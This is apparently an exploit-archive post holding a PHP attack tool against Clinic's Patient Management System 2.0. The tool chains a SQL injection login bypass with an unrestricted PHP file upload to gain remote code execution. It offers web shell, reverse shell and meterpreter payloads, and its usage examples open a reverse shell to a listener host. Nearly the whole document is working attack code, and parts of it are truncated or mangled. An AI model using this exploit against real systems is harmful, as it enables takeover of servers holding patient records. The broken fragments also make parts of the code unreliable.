=============================================================================================================================================
| # Title : Clinic's Patient Management System 2.0 Unauthenticated Admin Access |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://www.sourcecodester.com/php-clinics-patient-management-system-source-code |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/194570/ & CVE-2022-2297, CVE-2025-3096
[+] Summary :
Critical unauthenticated remote code execution vulnerability chain in Clinic's Patient Management System (v2.0)
combining SQL injection authentication bypass with unrestricted file upload functionality to achieve complete system compromise.
[+] POC :
php poc.php or http://127.0.0.1/poc.php
target = $target;
$this->port = $port;
$this->ssl = $ssl;
$this->base_path = rtrim($base_path, '/');
$this->timeout = 30;
$this->cookies = [];
$this->delete_files = $delete_files;
}
/**
* Check if target is vulnerable
*/
public function check() {
echo "[*] Checking Clinic Patient Management System vulnerability...\n";
$res = $this->send_request('');
if (!$res || $res['code'] != 200) {
echo "[-] Unexpected response code from server\n";
return "unknown";
}
if (strpos($res['body'], "Clinic's Patient Management System in PHP") !== false) {
echo "[+] ✓ Clinic PMS detected\n";
// Test SQL injection vulnerability
if ($this->test_sqli()) {
echo "[+] ✓ SQL injection vulnerability confirmed\n";
return "vulnerable";
} else {
echo "[-] SQL injection failed - application might be patched\n";
return "safe";
}
}
echo "[-] Clinic PMS not detected\n";
return "safe";
}
/**
* Test SQL injection vulnerability
*/
private function test_sqli() {
$login_data = [
'user_name' => "' or '1'='1' LIMIT 1;--",
'password' => '',
'login' => ''
];
$res = $this->send_request('index.php', 'POST', [], http_build_query($login_data), [
'Content-Type: application/x-www-form-urlencoded'
], true);
if ($res && $res['code'] == 302) {
$location = $this->extract_header($res['headers'], 'Location');
if ($location && strpos($location, 'dashboard.php') !== false) {
return true;
}
}
return false;
}
/**
* Login using SQL injection
*/
private function login_sqli() {
echo "[*] Logging in using SQL injection...\n";
$login_data = [
'user_name' => "' or '1'='1' LIMIT 1;--",
'password' => '',
'login' => ''
];
$res = $this->send_request('index.php', 'POST', [], http_build_query($login_data), [
'Content-Type: application/x-www-form-urlencoded'
], true);
if (!$res || $res['code'] != 302) {
echo "[-] SQL injection login failed\n";
return false;
}
$location = $this->extract_header($res['headers'], 'Location');
if ($location && strpos($location, 'dashboard.php') !== false) {
echo "[+] Successfully logged in using SQL injection\n";
return true;
}
echo "[-] SQL injection login failed - unexpected redirect\n";
return false;
}
/**
* Upload PHP payload via profile picture upload
*/
private function upload_payload($payload_type = 'cmd', $lhost = null, $lport = null) {
echo "[*] Uploading PHP payload...\n";
$username = $this->random_text(8);
$password = $this->random_text(8);
$filename = $this->random_text(8) . '.php';
// Generate PHP payload
$php_payload = $this->generate_php_payload($payload_type, $lhost, $lport);
$boundary = "----WebKitFormBoundary" . $this->random_text(16);
$data = "--{$boundary}\r\n";
$data .= "Content-Disposition: form-data; name=\"hidden_id\"\r\n\r\n";
$data .= "1\r\n";
$data .= "--{$boundary}\r\n";
$data .= "Content-Disposition: form-data; name=\"display_name\"\r\n\r\n";
$data .= "{$username}\r\n";
$data .= "--{$boundary}\r\n";
$data .= "Content-Disposition: form-data; name=\"username\"\r\n\r\n";
$data .= "{$username}\r\n";
$data .= "--{$boundary}\r\n";
$data .= "Content-Disposition: form-data; name=\"password\"\r\n\r\n";
$data .= "{$password}\r\n";
$data .= "--{$boundary}\r\n";
$data .= "Content-Disposition: form-data; name=\"profile_picture\"; filename=\"{$filename}\"\r\n";
$data .= "Content-Type: application/x-php\r\n\r\n";
$data .= "{$php_payload}\r\n";
$data .= "--{$boundary}\r\n";
$data .= "Content-Disposition: form-data; name=\"save_user\"\r\n\r\n";
$data .= "\r\n";
$data .= "--{$boundary}--\r\n";
$headers = [
"Content-Type: multipart/form-data; boundary={$boundary}",
"Content-Length: " . strlen($data)
];
$res = $this->send_request('update_user.php', 'POST', ['user_id' => '1'], $data, $headers, true);
if ($res && $res['code'] == 302) {
$location = $this->extract_header($res['headers'], 'Location');
if ($location && strpos($location, 'congratulation.php?goto_page=users.php&message=user update successfully') !== false) {
echo "[+] PHP payload uploaded successfully: {$filename}\n";
return $filename;
}
}
echo "[-] Payload upload failed\n";
return false;
}
/**
* Generate PHP payload
*/
private function generate_php_payload($type, $lhost, $lport) {
switch ($type) {
case 'reverse_shell':
if (!$lhost || !$lport) {
return $this->generate_cmd_shell();
}
return $this->generate_reverse_shell($lhost, $lport);
case 'web_shell':
return $this->generate_web_shell();
case 'meterpreter':
if (!$lhost || !$lport) {
return $this->generate_cmd_shell();
}
return $this->generate_meterpreter_stager($lhost, $lport);
case 'cmd':
default:
return $this->generate_cmd_shell();
}
}
/**
* Generate command shell
*/
private function generate_cmd_shell() {
return '';
}
/**
* Generate reverse shell
*/
private function generate_reverse_shell($lhost, $lport) {
$payload = '&3 2>&3");';
$payload .= '?>';
return $payload;
}
/**
* Generate web shell
*/
private function generate_web_shell() {
return '"; system($_POST["cmd"]); echo ""; } ?>';
}
/**
* Generate meterpreter stager
*/
private function generate_meterpreter_stager($lhost, $lport) {
$payload = '';
return $payload;
}
/**
* Extract uploaded file path
*/
private function extract_payload_path() {
echo "[*] Extracting uploaded payload path...\n";
$res = $this->send_request('update_user.php', 'GET', ['user_id' => '1']);
if (!$res || $res['code'] != 200) {
echo "[-] Failed to extract payload path\n";
return false;
}
// Extract image src from HTML
if (preg_match('/]*alt="User Image"[^>]*src="([^"]+)"/', $res['body'], $matches)) {
$payload_path = $matches[1];
echo "[+] Found payload path: {$payload_path}\n";
return $payload_path;
}
echo "[-] Could not find payload path in response\n";
return false;
}
/**
* Trigger the payload
*/
private function trigger_payload($payload_path) {
echo "[*] Triggering payload execution...\n";
if (!$payload_path) {
echo "[-] No payload path provided\n";
return false;
}
$res = $this->send_request($payload_path, 'GET');
if ($res) {
echo "[+] Payload triggered - HTTP {$res['code']}\n";
if ($this->delete_files) {
echo "[*] Note: File cleanup would be performed in full implementation\n";
}
return true;
}
echo "[-] Failed to trigger payload\n";
return false;
}
/**
* Logout from the application
*/
private function logout() {
echo "[*] Logging out...\n";
$res = $this->send_request('logout.php', 'GET');
if ($res && $res['code'] == 302) {
$location = $this->extract_header($res['headers'], 'Location');
if ($location && strpos($location, 'index.php') !== false) {
echo "[+] Successfully logged out\n";
$this->cookies = []; // Clear cookies
return true;
}
}
echo "[-] Logout failed\n";
return false;
}
/**
* Execute full exploit chain
*/
public function exploit($payload_type = 'cmd', $lhost = null, $lport = null) {
echo "[*] Starting Clinic PMS exploitation chain...\n";
// Step 1: Login via SQL injection
if (!$this->login_sqli()) {
echo "[-] Exploitation failed at login stage\n";
return false;
}
// Step 2: Upload payload
$filename = $this->upload_payload($payload_type, $lhost, $lport);
if (!$filename) {
echo "[-] Exploitation failed at payload upload stage\n";
return false;
}
// Step 3: Extract payload path
$payload_path = $this->extract_payload_path();
if (!$payload_path) {
echo "[-] Exploitation failed at path extraction stage\n";
return false;
}
// Step 4: Trigger payload
if ($this->trigger_payload($payload_path)) {
echo "[+] ✓ Exploitation completed successfully\n";
echo "[*] Payload should be executed\n";
return true;
}
echo "[-] Exploitation failed at payload trigger stage\n";
return false;
}
/**
* Send HTTP request
*/
private function send_request($path, $method = 'GET', $params = [], $data = null, $custom_headers = [], $save_cookies = false) {
$url = $this->build_url($path);
if ($method == 'GET' && !empty($params)) {
$url .= '?' . http_build_query($params);
}
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => $this->timeout,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
CURLOPT_HEADER => true,
CURLOPT_CUSTOMREQUEST => $method,
CURLOPT_FOLLOWLOCATION => false
]);
// Add POST data if provided
if ($method == 'POST' && $data) {
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
}
// Build headers
$headers = array_merge([
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
], $custom_headers);
// Add cookies if available
$cookie_header = $this->build_cookie_header();
if ($cookie_header) {
$headers[] = $cookie_header;
}
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// Save cookies if requested
if ($save_cookies && $response) {
$this->extract_cookies($response);
}
curl_close($ch);
if ($response) {
$header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$headers = substr($response, 0, $header_size);
$body = substr($response, $header_size);
return [
'code' => $http_code,
'headers' => $headers,
'body' => $body
];
}
return false;
}
/**
* Extract cookies from response headers
*/
private function extract_cookies($response) {
if (preg_match_all('/Set-Cookie:\s*([^=]+)=([^;]+)/i', $response, $matches)) {
for ($i = 0; $i < count($matches[1]); $i++) {
$this->cookies[trim($matches[1][$i])] = $matches[2][$i];
}
}
}
/**
* Extract specific header from headers string
*/
private function extract_header($headers, $header_name) {
$pattern = '/^' . $header_name . ':\s*(.*)$/mi';
if (preg_match($pattern, $headers, $matches)) {
return trim($matches[1]);
}
return null;
}
/**
* Build cookie header from stored cookies
*/
private function build_cookie_header() {
if (empty($this->cookies)) {
return null;
}
$cookie_parts = [];
foreach ($this->cookies as $name => $value) {
$cookie_parts[] = "{$name}={$value}";
}
return 'Cookie: ' . implode('; ', $cookie_parts);
}
/**
* Generate random text
*/
private function random_text($length = 8) {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$result = '';
for ($i = 0; $i < $length; $i++) {
$result .= $chars[rand(0, strlen($chars) - 1)];
}
return $result;
}
/**
* Build full URL
*/
private function build_url($path) {
$protocol = $this->ssl ? 'https' : 'http';
$full_path = $this->base_path . $path;
return "{$protocol}://{$this->target}:{$this->port}{$full_path}";
}
}
// CLI Interface
if (php_sapi_name() === 'cli') {
echo "
╔══════════════════════════════════════════════════════════════╗
║ Clinic Patient Management System RCE ║
║ CVE-2022-2297 & CVE-2025-3096 ║
║ PHP Implementation ║
╚══════════════════════════════════════════════════════════════╝
\n";
$options = getopt("t:p:s:u:cP:L:H:", [
"target:",
"port:",
"ssl",
"uri:",
"check",
"payload:",
"lhost:",
"lport:"
]);
$target = $options['t'] ?? $options['target'] ?? null;
$port = $options['p'] ?? $options['port'] ?? 80;
$ssl = isset($options['s']) || isset($options['ssl']);
$base_uri = $options['u'] ?? $options['uri'] ?? '/pms/';
$check_only = isset($options['c']) || isset($options['check']);
$payload_type = $options['P'] ?? $options['payload'] ?? 'cmd';
$lhost = $options['H'] ?? $options['lhost'] ?? null;
$lport = $options['L'] ?? $options['lport'] ?? 4444;
if (!$target) {
echo "Usage: php clinic_pms_exploit.php [options]\n";
echo "Options:\n";
echo " -t, --target Target host (required)\n";
echo " -p, --port Target port (default: 80)\n";
echo " -s, --ssl Use SSL (default: false)\n";
echo " -u, --uri Base URI path (default: /pms/)\n";
echo " -c, --check Check only (don't exploit)\n";
echo " -P, --payload Payload type: cmd, reverse_shell, web_shell, meterpreter (default: cmd)\n";
echo " -H, --lhost Listener host for reverse shell\n";
echo " -L, --lport Listener port for reverse shell (default: 4444)\n";
echo "\nExamples:\n";
echo " php clinic_pms_exploit.php -t 192.168.1.100 -c\n";
echo " php clinic_pms_exploit.php -t clinic.example.com -P reverse_shell -H 10.0.0.5 -L 4444\n";
exit(1);
}
$exploit = new ClinicPMSExploit($target, $port, $ssl, $base_uri);
if ($check_only) {
$result = $exploit->check();
echo "\n[*] Result: {$result}\n";
} else {
if ($exploit->exploit($payload_type, $lhost, $lport)) {
echo "[+] Exploitation completed successfully\n";
} else {
echo "[-] Exploitation failed\n";
}
}
} else {
// Web Interface
$action = $_POST['action'] ?? '';
if ($action === 'check' || $action === 'exploit') {
$target = $_POST['target'] ?? '';
$port = $_POST['port'] ?? 80;
$ssl = isset($_POST['ssl']);
$base_uri = $_POST['uri'] ?? '/pms/';
$payload_type = $_POST['payload_type'] ?? 'cmd';
$lhost = $_POST['lhost'] ?? '';
$lport = $_POST['lport'] ?? 4444;
if (empty($target)) {
echo "
$output"; } echo 'Back to Form'; } else { // Display the form echo '
CVE-2022-2297: SQL Injection in login portal
CVE-2025-3096: File upload vulnerability in user profile
Affected: Clinic Patient Management System 1.0/2.0
Authentication: None required (SQL injection bypass)
Impact: Remote Code Execution
Exploit Chain: SQL Injection → Admin Login → File Upload → RCE